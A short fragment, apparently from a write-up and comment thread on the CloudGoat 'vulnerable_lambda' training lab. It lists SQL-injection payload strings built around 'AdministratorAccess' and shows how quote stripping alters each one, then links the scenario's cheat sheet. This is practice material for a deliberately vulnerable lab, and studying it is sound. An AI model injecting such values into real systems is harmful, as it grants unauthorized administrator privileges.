– Removing wrapping single quotes: [AdministratorAccess"'" --]
– Removing wrapping double quotes: [AdministratorAccess' --]

Weʼll see if this is 100% accurate once I spin up the environment and test it out, but that should be it!

Reply

https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/vulnerable_lambda/cheat_sheet.md
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/vulnerable_lambda/cheat_sheet.md
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